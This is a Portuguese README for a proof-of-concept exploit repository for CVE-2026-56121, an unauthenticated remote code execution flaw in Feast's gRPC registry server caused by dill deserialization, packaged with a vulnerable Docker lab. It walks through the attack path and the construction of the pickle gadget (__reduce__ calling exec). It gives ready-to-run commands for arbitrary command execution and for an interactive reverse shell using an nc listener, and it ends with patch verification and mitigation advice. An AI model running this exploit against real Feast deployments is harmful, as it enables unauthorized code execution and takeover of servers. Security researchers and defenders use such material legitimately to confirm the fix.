
Prova de conceito de exploit para CVE-2026-56121, uma RCE não autenticada no servidor gRPC do registry do Feast via desserialização insegura com dill. Inclui um laboratório vulnerável em Docker para testes e validação.
Execução remota de código não autenticada no Feast
(< 0.63.0) via desserialização insegura com dill.loads no servidor gRPC do registry.
Este repositório contém um exploit de prova de conceito autocontido e um laboratório
vulnerável em Docker para validá-lo.
| CVE | CVE-2026-56121 |
| Produto | Feast (feature store) — servidor gRPC do registry |
| Afetado | feast < 0.63.0 |
| Corrigido em | 0.63.0 (commit 835cda8) |
| Classe | CWE-502 — Desserialização de Dados Não Confiáveis |
| Impacto | RCE não autenticada (configuração padrão é auth: no_auth) |
| Porta padrão | 6570/tcp (servidor gRPC do registry) |
⚠️ Apenas para testes de segurança autorizados e fins educacionais. Execute isso somente contra o laboratório Docker incluído ou sistemas que você possui / tem permissão explícita para testar. O uso não autorizado contra sistemas de terceiros é ilegal.
O handler gRPC do registry do Feast, RegistryServer.ApplyFeatureView, desserializa o
spec da feature view recebida chamando OnDemandFeatureView.from_proto(...) antes
de executar qualquer verificação de autorização. Para uma On-Demand Feature View em modo pandas com um
corpo de UDF não vazio, esse caminho alcança PandasTransformation.from_proto, que executa
dill.loads(user_defined_function.body) em bytes controlados pelo atacante. Como o dill
executa opcodes de pickle, um objeto com um __reduce__ malicioso executa Python arbitrário no
processo do servidor. A configuração fornecida é auth: no_auth e o servidor gRPC não possui
interceptor de autenticação, então qualquer pessoa que consiga alcançar a porta 6570 obtém execução de código.
Consulte ANALYSIS.md para a análise completa do caminho de código e o diff do patch.
.
├── exploit/
│ ├── exploit.py # cliente PoC completo: --check / --cmd / --reverse-shell
│ ├── poc.py # PoC mínimo de arquivo único, mesma primitiva em ~90 linhas
│ ├── build_protos.sh # (re)gera os stubs de protobuf a partir de [email protected]
│ └── protos/ # stubs *_pb2 gerados e commitados (execute o PoC sem protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 por padrão; FEAST_VERSION seleciona a versão
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # projeto Feast mínimo (auth: no_auth)
├── requirements.txt # dependências do exploit: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# servidor gRPC do registry agora escutando em localhost:6570
docker compose logs -f # aguarde por "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Verificação segura (não destrutiva) — prova que o servidor desserializa dados do atacante ao
gravar um arquivo marcador em /tmp e retornar informações do host, sem executar um comando de shell:
python exploit/exploit.py --target 127.0.0.1:6570 --check
Execute um comando e veja sua saída (modo padrão):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Reverse shell interativo — inicie seu listener primeiro e depois entregue o payload:
# terminal A
nc -lvnp 4444
# terminal B (use um endereço que o contêiner consiga alcançar de volta)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
Os modos --cmd e --check iniciam um listener TCP de curta duração no próprio exploit
e imprimem o que o alvo enviar de volta — nenhuma ferramenta externa é necessária na imagem alvo.
Um equivalente simplificado está em exploit/poc.py, se você quiser a primitiva completa em um único
arquivo legível:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Nota sobre callback.
--check,--cmdepoc.pydependem de o alvo conectar de volta a um listener na sua máquina. Executar a partir do host funciona imediatamente. Se você executar o exploit de dentro de um contêiner, coloque-o na rede do laboratório (docker run --network lab_default ...), caso contrário o payload é executado, mas a resposta nunca chega e a ferramenta reporta "no callback".
Os stubs em exploit/protos/ estão commitados, então você não precisa do protoc. Se você
regenerá-los, use o script — ele fixa o grpcio-tools propositalmente:
./exploit/build_protos.sh # executa em um contêiner fixado python:3.11
O protoc grava uma versão de gencode em cada _pb2.py, e o protobuf se recusa a carregar um
stub cujo gencode seja mais novo que o runtime instalado. A fixação mantém os stubs carregando
em protobuf >= 5.29, < 8 (verificado contra 5.29.6, 6.33.6 e 7.36.0).
Reconstrua o laboratório com a versão corrigida e execute o exploit novamente:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Esperado em 0.63.0: [-] No callback received. e nenhum arquivo marcador no alvo —
o handler passa skip_udf=True, então o corpo da UDF nunca é desserializado antes da
verificação de autenticação. Volte ao laboratório vulnerável com docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest cujo spec de on_demand_feature_view tenha
mode = "pandas" e um feature_transformation.user_defined_function
(UserDefinedFunctionV2) com:
body_text = não vazio (necessário para alcançar o ramo de desserialização pandas),body = um pickle de um objeto cujo __reduce__ chama exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) durante from_proto — antes da verificação de autenticação —
executando o payload. A própria RPC pode então falhar; o código já foi executado.O exploit cria o gadget com o módulo pickle da stdlib (o dill.loads do servidor
decodifica opcodes de pickle simples sem problemas), então o lado do atacante só precisa de grpcio + protobuf.
>= 0.63.0. A correção propaga um flag skip_udf=True através de
*.from_proto, para que o servidor do registry valide permissões nos metadados do spec sem
desserializar o corpo da UDF.6570) a redes não confiáveis.auth: kubernetes / auth: oidc) em vez do padrão no_auth.